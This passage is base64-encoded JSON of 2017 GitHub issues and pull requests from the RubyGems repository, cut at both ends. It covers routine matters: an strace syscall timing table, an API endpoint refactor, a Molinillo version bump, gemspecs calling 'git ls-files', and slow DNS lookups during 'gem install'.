gMC45OCAgICAwLjAwMDMyMCAgICAgICAgICAgMSAgICAgICAzODIgICAgICAgICAgIGdldGVnaWRcclxuICAwLjkxICAgIDAuMDAwMjk3ICAgICAgICAgICAxICAgICAgIDM4MSAgICAgICAgICAgZ2V0Z2lkXHJcbiAgMC42NSAgICAwLjAwMDIxMiAgICAgICAgICAxOCAgICAgICAgMTIgICAgICAgICAgIGdldGRlbnRzXHJcbiAgMC4yNSAgICAwLjAwMDA4MSAgICAgICAgICAgNSAgICAgICAgMTggICAgICAgICAgIHJ0X3NpZ2FjdGlvblxyXG4gIDAuMTUgICAgMC4wMDAwNDggICAgICAgICAgIDQgICAgICAgIDExICAgICAgICAxMSBhY2Nlc3NcclxuICAwLjE0ICAgIDAuMDAwMDQ1ICAgICAgICAgIDE1ICAgICAgICAgMyAgICAgICAgICAgbXVubWFwXHJcbiAgMC4wOCAgICAwLjAwMDAyNyAgICAgICAgICAgOSAgICAgICAgIDMgICAgICAgICAgIGdldHJsaW1pdFxyXG4gIDAuMDYgICAgMC4wMDAwMjAgICAgICAgICAgIDcgICAgICAgICAzICAgICAgICAgICBydF9zaWdwcm9jbWFza1xyXG4gIDAuMDQgICAgMC4wMDAwMTMgICAgICAgICAgMTMgICAgICAgICAxICAgICAgICAgICBhcmNoX3ByY3RsXHJcbiAgMC4wNCAgICAwLjAwMDAxMyAgICAgICAgICAxMyAgICAgICAgIDEgICAgICAgICAgIHNldF90aWRfYWRkcmVzc1xyXG4gIDAuMDQgICAgMC4wMDAwMTMgICAgICAgICAgMTMgICAgICAgICAxICAgICAgICAgICBzZXRfcm9idXN0X2xpc3RcclxuICAwLjAzICAgIDAuMDAwMDA5ICAgICAgICAgICA5ICAgICAgICAgMSAgICAgICAgICAgY2xvY2tfZ2V0dGltZVxyXG4gIDAuMDMgICAgMC4wMDAwMDkgICAgICAgICAgIDUgICAgICAgICAyICAgICAgICAgICBnZXRyYW5kb21cclxuICAwLjAyICAgIDAuMDAwMDA3ICAgICAgICAgICA3ICAgICAgICAgMSAgICAgICAgICAgc2NoZWRfZ2V0YWZmaW5pdHlcclxuICAwLjAyICAgIDAuMDAwMDA1ICAgICAgICAgICAwICAgICAgICAxNSAgICAgICAgICAgbHNlZWtcclxuICAwLjAxICAgIDAuMDAwMDA0ICAgICAgICAgICA0ICAgICAgICAgMSAgICAgICAgICAgc3lzaW5mb1xyXG4gIDAuMDEgICAgMC4wMDAwMDMgICAgICAgICAgIDMgICAgICAgICAxICAgICAgICAgICBzaWdhbHRzdGFja1xyXG4gIDAuMDEgICAgMC4wMDAwMDIgICAgICAgICAgIDIgICAgICAgICAxICAgICAgICAgICBmdXRleFxyXG4gIDAuMDAgICAgMC4wMDAwMDAgICAgICAgICAgIDAgICAgICAgICAxICAgICAgICAgICB3cml0ZVxyXG4gIDAuMDAgICAgMC4wMDAwMDAgICAgICAgICAgIDAgICAgICAgICAxICAgICAgICAgICBjbG9uZVxyXG4gIDAuMDAgICAgMC4wMDAwMDAgICAgICAgICAgIDAgICAgICAgICAxICAgICAgICAgICBleGVjdmVcclxuICAwLjAwICAgIDAuMDAwMDAwICAgICAgICAgICAwICAgICAgICAgMiAgICAgICAgICAgcGlwZTJcclxuLS0tLS0tIC0tLS0tLS0tLS0tIC0tLS0tLS0tLS0tIC0tLS0tLS0tLSAtLS0tLS0tLS0gLS0tLS0tLS0tLS0tLS0tLVxyXG4xMDAuMDAgICAgMC4wMzI2OTkgICAgICAgICAgICAgICAgIDE5NzMxICAgICAgODYzNSB0b3RhbFxyXG5gYGBcclxuIn0seyJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8yMDM1IiwicmVwb3NpdG9yeV91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zIiwibGFiZWxzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzIwMzUvbGFiZWxzey9uYW1lfSIsImNvbW1lbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzIwMzUvY29tbWVudHMiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMjAzNS9ldmVudHMiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxsLzIwMzUiLCJpZCI6MjY0NDM5OTE2LCJudW1iZXIiOjIwMzUsInRpdGxlIjoiUmVmYWN0b3IgYXBpX2VuZHBvaW50IHRvIGJlIG1vcmUgZXhwbGljaXQiLCJ1c2VyIjp7ImxvZ2luIjoiY2xhdWRpamQiLCJpZCI6Nzk0MjgzLCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMy5naXRodWJ1c2VyY29udGVudC5jb20vdS83OTQyODM/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2NsYXVkaWpkIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vY2xhdWRpamQiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9jbGF1ZGlqZC9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9jbGF1ZGlqZC9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9jbGF1ZGlqZC9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvY2xhdWRpamQvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9jbGF1ZGlqZC9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2NsYXVkaWpkL29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2NsYXVkaWpkL3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvY2xhdWRpamQvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2NsYXVkaWpkL3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJsYWJlbHMiOlt7ImlkIjozMDczNzQ0NTUsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvbGFiZWxzL3N0YXR1czolMjB0cmlhZ2UiLCJuYW1lIjoic3RhdHVzOiB0cmlhZ2UiLCJjb2xvciI6ImZlZjJjMCIsImRlZmF1bHQiOmZhbHNlfV0sInN0YXRlIjoib3BlbiIsImxvY2tlZCI6ZmFsc2UsImFzc2lnbmVlIjpudWxsLCJhc3NpZ25lZXMiOltdLCJtaWxlc3RvbmUiOm51bGwsImNvbW1lbnRzIjowLCJjcmVhdGVkX2F0IjoiMjAxNy0xMC0xMVQwMjo0NjozOVoiLCJ1cGRhdGVkX2F0IjoiMjAxNy0xMC0xMVQwMzozMzo0MFoiLCJjbG9zZWRfYXQiOm51bGwsImF1dGhvcl9hc3NvY2lhdGlvbiI6IkNPTlRSSUJVVE9SIiwicHVsbF9yZXF1ZXN0Ijp7InVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvcHVsbHMvMjAzNSIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL3B1bGwvMjAzNSIsImRpZmZfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL3B1bGwvMjAzNS5kaWZmIiwicGF0Y2hfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL3B1bGwvMjAzNS5wYXRjaCJ9LCJib2R5IjoiIyBEZXNjcmlwdGlvbjpcclxuXHJcblRoZSBpbnB1dCB2YWxpZGF0aW9uIGNoZWNrcyBvbiBTUlYgYXBpIGVuZHBvaW50IGRpc2NvdmVyeSBhcmUgc2FuZSwgYnV0IGl0J3MgdXNhZ2UgYWZ0ZXJ3YXJkcyBjb3VsZCBiZSBiZXR0ZXIuICBUaGlzIFBSIGluY29ycG9yYXRlcyBmZWVkYmFjayBmcm9tIGRhdmlkQGJhbXNvZnR3YXJlLmNvbSwgdG8gbWFrZSB0aGlzIGV2ZW4gc2FmZXIgYW5kIG1vcmUgZXhwbGljaXQgaG93IHdlJ3JlIGhhbmRsaW5nIHRoaXMgcG90ZW50aWFsbHkgdW5zYWZlIGlucHV0IHRoYXQgaGVscHMgd2l0aCBBUEkgZGlzY292ZXJ5LlxyXG5fX19fX19fX19fX19fX1xyXG5cclxuIyBUYXNrczpcclxuXHJcbi0gW1hdIERlc2NyaWJlIHRoZSBwcm9ibGVtIC8gZmVhdHVyZVxyXG4tIFtYXSBXcml0ZSB0ZXN0c1xyXG4tIFtYXSBXcml0ZSBjb2RlIHRvIHNvbHZlIHRoZSBwcm9ibGVtXHJcbi0gWyBdIEdldCBjb2RlIHJldmlldyBmcm9tIGNvd29ya2VycyAvIGZyaWVuZHNcclxuXHJcbkkgd2lsbCBhYmlkZSBieSB0aGUgW2NvZGUgb2YgY29uZHVjdF0oaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2Jsb2IvbWFzdGVyL0NPREVfT0ZfQ09ORFVDVC5tZCkuXHJcbiJ9LHsidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMjAyNiIsInJlcG9zaXRvcnlfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2VtcyIsImxhYmVsc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8yMDI2L2xhYmVsc3svbmFtZX0iLCJjb21tZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8yMDI2L2NvbW1lbnRzIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzIwMjYvZXZlbnRzIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvcHVsbC8yMDI2IiwiaWQiOjI2MzM5MjYzMCwibnVtYmVyIjoyMDI2LCJ0aXRsZSI6IlVwZGF0ZSBNb2xpbmlsbG8gMC42LjMgc2FtZSBhcyBidW5kbGVyLTEuMTYuMCIsInVzZXIiOnsibG9naW4iOiJoc2J0IiwiaWQiOjEyMzAxLCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMS5naXRodWJ1c2VyY29udGVudC5jb20vdS8xMjMwMT92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidCIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL2hzYnQiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJsYWJlbHMiOlt7ImlkIjozMDU1MjU2MzIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvbGFiZWxzL3R5cGU6JTIwbWFqb3IlMjBidW1wIiwibmFtZSI6InR5cGU6IG1ham9yIGJ1bXAiLCJjb2xvciI6ImJmZTViZiIsImRlZmF1bHQiOmZhbHNlfV0sInN0YXRlIjoib3BlbiIsImxvY2tlZCI6ZmFsc2UsImFzc2lnbmVlIjpudWxsLCJhc3NpZ25lZXMiOltdLCJtaWxlc3RvbmUiOm51bGwsImNvbW1lbnRzIjo2LCJjcmVhdGVkX2F0IjoiMjAxNy0xMC0wNlQwOTo1Mjo0OVoiLCJ1cGRhdGVkX2F0IjoiMjAxNy0xMC0xMFQwMTowNTo0MloiLCJjbG9zZWRfYXQiOm51bGwsImF1dGhvcl9hc3NvY2lhdGlvbiI6Ik9XTkVSIiwicHVsbF9yZXF1ZXN0Ijp7InVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvcHVsbHMvMjAyNiIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL3B1bGwvMjAyNiIsImRpZmZfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL3B1bGwvMjAyNi5kaWZmIiwicGF0Y2hfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL3B1bGwvMjAyNi5wYXRjaCJ9LCJib2R5IjoiSSBob3BlIHRvIHVzZSB0aGUgc2FtZSB2ZXJzaW9uIG9mIE1vbGluaWxsbyBvbiBydWJ5Z2VtcyBhbmQgYnVuZGxlciBvbiBydWJ5IGNvcmUuIEluIG15IHBsYW4sIFJ1YnkgMi41LjAgaXMgZ29pbmcgdG8gYnVuZGxlIHJ1YnlnZW1zIDIuNy54IGFuZCBidW5kbGVyIDEuMTYueC4ifSx7InVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzIwMjEiLCJyZXBvc2l0b3J5X3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMiLCJsYWJlbHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMjAyMS9sYWJlbHN7L25hbWV9IiwiY29tbWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMjAyMS9jb21tZW50cyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8yMDIxL2V2ZW50cyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8yMDIxIiwiaWQiOjI2MDQ2NTY3MywibnVtYmVyIjoyMDIxLCJ0aXRsZSI6ImdlbXNwZWMgYW5kIGBnaXQgbHMtZmlsZXNgIiwidXNlciI6eyJsb2dpbiI6Ik1TUC1HcmVnIiwiaWQiOjE1MDgxMTc2LCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMy5naXRodWJ1c2VyY29udGVudC5jb20vdS8xNTA4MTE3Nj92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvTVNQLUdyZWciLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9NU1AtR3JlZyIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL01TUC1HcmVnL2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL01TUC1HcmVnL2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL01TUC1HcmVnL2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9NU1AtR3JlZy9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL01TUC1HcmVnL3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvTVNQLUdyZWcvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvTVNQLUdyZWcvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9NU1AtR3JlZy9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvTVNQLUdyZWcvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sImxhYmVscyI6W3siaWQiOjcyMTg4MTkxNywidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9sYWJlbHMvZ29vZCUyMGZpcnN0JTIwaXNzdWUiLCJuYW1lIjoiZ29vZCBmaXJzdCBpc3N1ZSIsImNvbG9yIjoiMTY3NDdjIiwiZGVmYXVsdCI6dHJ1ZX0seyJpZCI6MzA1NTI0NzUwLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2xhYmVscy90eXBlOiUyMGZlYXR1cmUlMjByZXF1ZXN0IiwibmFtZSI6InR5cGU6IGZlYXR1cmUgcmVxdWVzdCIsImNvbG9yIjoiYmZlNWJmIiwiZGVmYXVsdCI6ZmFsc2V9XSwic3RhdGUiOiJvcGVuIiwibG9ja2VkIjpmYWxzZSwiYXNzaWduZWUiOm51bGwsImFzc2lnbmVlcyI6W10sIm1pbGVzdG9uZSI6bnVsbCwiY29tbWVudHMiOjMsImNyZWF0ZWRfYXQiOiIyMDE3LTA5LTI2VDAxOjQ4OjQ2WiIsInVwZGF0ZWRfYXQiOiIyMDE3LTExLTMwVDAwOjU1OjU3WiIsImNsb3NlZF9hdCI6bnVsbCwiYXV0aG9yX2Fzc29jaWF0aW9uIjoiQ09OVFJJQlVUT1IiLCJib2R5IjoiSSBjYW1lIGFjcm9zcyB0aGlzIHdoZW4gSSAobWlzdGFrZW5seSkgdGhvdWdodCBJIGNvdWxkIHJlbW92ZSBnaXQgZnJvbSBQQVRIIGluIG15IHRydW5rIGJ1aWxkIHN5c3RlbS5cclxuXHJcbkEgZmV3IGdlbXMgaGF2ZSBgZ2l0IGxzLWZpbGVzYCBpbiB0aGVpciBnZW1zcGVjIGZpbGUsIGFuZCBhcmUgcGFja2FnZWQgdGhhdCB3YXkuICBUaGlzIGNhdXNlZCB0aGUgYnVpbGQgc3lzdGVtIHRvIG5vdCBwcm9wZXJseSBpbnN0YWxsIGJ1bmRsZWQgZ2Vtcy4gIFNpbmNlIGZpeGVkLlxyXG5cclxuSWYgZ2l0IGlzIHJlcXVpcmVkIGZvciBpbnN0YWxsaW5nIChzb21lKSBnZW1zLCBtYXliZSBgd2hlcmUgZ2l0YCBjb3VsZCBiZSBhZGRlZCB0byBgZ2VtIGVudmA/XHJcblxyXG5UaGlzIGlzc3VlIGlzIHJlbGF0ZWQgdG86XHJcblxyXG4gIC0gWyBdIE5ldHdvcmsgcHJvYmxlbXNcclxuICAtIFtYXSBJbnN0YWxsaW5nIGEgbGlicmFyeVxyXG4gIC0gWyBdIFB1Ymxpc2hpbmcgYSBsaWJyYXJ5XHJcbiAgLSBbIF0gVGhlIGNvbW1hbmQgbGluZSBgZ2VtYFxyXG4gIC0gW1hdIE90aGVyXHJcblxyXG5IZXJlIGFyZSBteSBjdXJyZW50IGVudmlyb25tZW50IGRldGFpbHM6XHJcblxyXG5gYGBcclxucnVieSAyLjUuMGRldiAoMjAxNy0wOS0yNiB0cnVuayA2MDAyNSkgW3g2NC1taW5ndzMyXVxyXG5nZW0gMi42LjEzXHJcbmBgYFxyXG5cclxuSSB3aWxsIGFiaWRlIGJ5IHRoZSBbY29kZSBvZiBjb25kdWN0XShodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvYmxvYi9tYXN0ZXIvQ09ERV9PRl9DT05EVUNULm1kKS4ifSx7InVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzIwMTciLCJyZXBvc2l0b3J5X3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMiLCJsYWJlbHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMjAxNy9sYWJlbHN7L25hbWV9IiwiY29tbWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMjAxNy9jb21tZW50cyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8yMDE3L2V2ZW50cyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8yMDE3IiwiaWQiOjI1OTEzMjUxNiwibnVtYmVyIjoyMDE3LCJ0aXRsZSI6ImdlbSBpbnN0YWxsIGlzIHZlcnkgc2xvdyBvbiBVYnVudHUgMTYuMDQiLCJ1c2VyIjp7ImxvZ2luIjoibmljd29ydGVsIiwiaWQiOjEwNTU2OTEsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMyLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzEwNTU2OTE/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL25pY3dvcnRlbCIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL25pY3dvcnRlbCIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL25pY3dvcnRlbC9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9uaWN3b3J0ZWwvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvbmljd29ydGVsL2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9uaWN3b3J0ZWwvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9uaWN3b3J0ZWwvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9uaWN3b3J0ZWwvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvbmljd29ydGVsL3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvbmljd29ydGVsL2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9uaWN3b3J0ZWwvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sImxhYmVscyI6W3siaWQiOjMwNzM3NDQ1NSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9sYWJlbHMvc3RhdHVzOiUyMHRyaWFnZSIsIm5hbWUiOiJzdGF0dXM6IHRyaWFnZSIsImNvbG9yIjoiZmVmMmMwIiwiZGVmYXVsdCI6ZmFsc2V9XSwic3RhdGUiOiJvcGVuIiwibG9ja2VkIjpmYWxzZSwiYXNzaWduZWUiOm51bGwsImFzc2lnbmVlcyI6W10sIm1pbGVzdG9uZSI6bnVsbCwiY29tbWVudHMiOjQsImNyZWF0ZWRfYXQiOiIyMDE3LTA5LTIwVDExOjM3OjU2WiIsInVwZGF0ZWRfYXQiOiIyMDE3LTEwLTA2VDA5OjI4OjA5WiIsImNsb3NlZF9hdCI6bnVsbCwiYXV0aG9yX2Fzc29jaWF0aW9uIjoiTk9ORSIsImJvZHkiOiJJJ20gZXhwZXJpZW5jaW5nIGFuIGlzc3VlIG9uIFVidW50dSAxNi4wNCB3aGVyZSBgZ2VtIGluc3RhbGxgIHRha2VzIGEgdmVyeSBsb25nIHRpbWUuIFJ1YnkgR2VtcyBzZWVtcyB0byBnZXQgc3R1Y2sgb24gcmVzb2x2aW5nIGEgRE5TIGVudHJ5IGZvciBgX3J1YnlnZW1zLl90Y3AuYXBpLnJ1YnlnZW1zLm9yZ2AuXHJcblxyXG5gYGBcclxuJCBydWJ5IC12XHJcbnJ1YnkgMi4zLjFwMTEyICgyMDE2LTA0LTI2KSBbeDg2XzY0LWxpbnV4LWdudV1cclxuJCBnZW0gLXZcclxuMi41LjFcclxuYGBgXHJcblxyXG5TZWUgdGhpcyBvdXRwdXQgb2YgdGhlIENMSSBjb21tYW5kIGB0aW1lIGdlbSBpbnN0YWxsIC0tdmVyYm9zZSAtLWRlYnVnIG1haWxjYXRjaGVyYDpcclxuXHJcbmBgYFxyXG5OT1RFOiAgRGVidWdnaW5nIG1vZGUgcHJpbnRzIGFsbCBleGNlcHRpb25zIGV2ZW4gd2hlbiByZXNjdWVkXHJcbkV4Y2VwdGlvbiBgTG9hZEVycm9yJyBhdCAvdXNyL2xpYi9ydWJ5LzIuMy4wL3Jlc29sdi5yYjoxNzEgLSBMb2FkRXJyb3JcclxuSEVBRCBodHRwczovL2FwaS5ydWJ5Z2Vtcy5vcmcvYXBpL3YxL2RlcGVuZGVuY2llc1xyXG4yMDAgT0tcclxuR0VUIGh0dHBzOi8vYXBpLnJ1YnlnZW1zLm9yZy9hcGkvdjEvZGVwZW5kZW5jaWVzP2dlbXM9bWFpbGNhdGNoZXJcclxuMjAwIE9LXHJcbkV4Y2VwdGlvbiBgUmVzb2x2OjpSZXNvbHZUaW1lb3V0JyBhdCAvdXNyL2xpYi9ydWJ5LzIuMy4wL3Jlc29sdi5yYjo2OTQgLSBSZXNvbHY6OlJlc29sdlRpbWVvdXRcclxuRXhjZX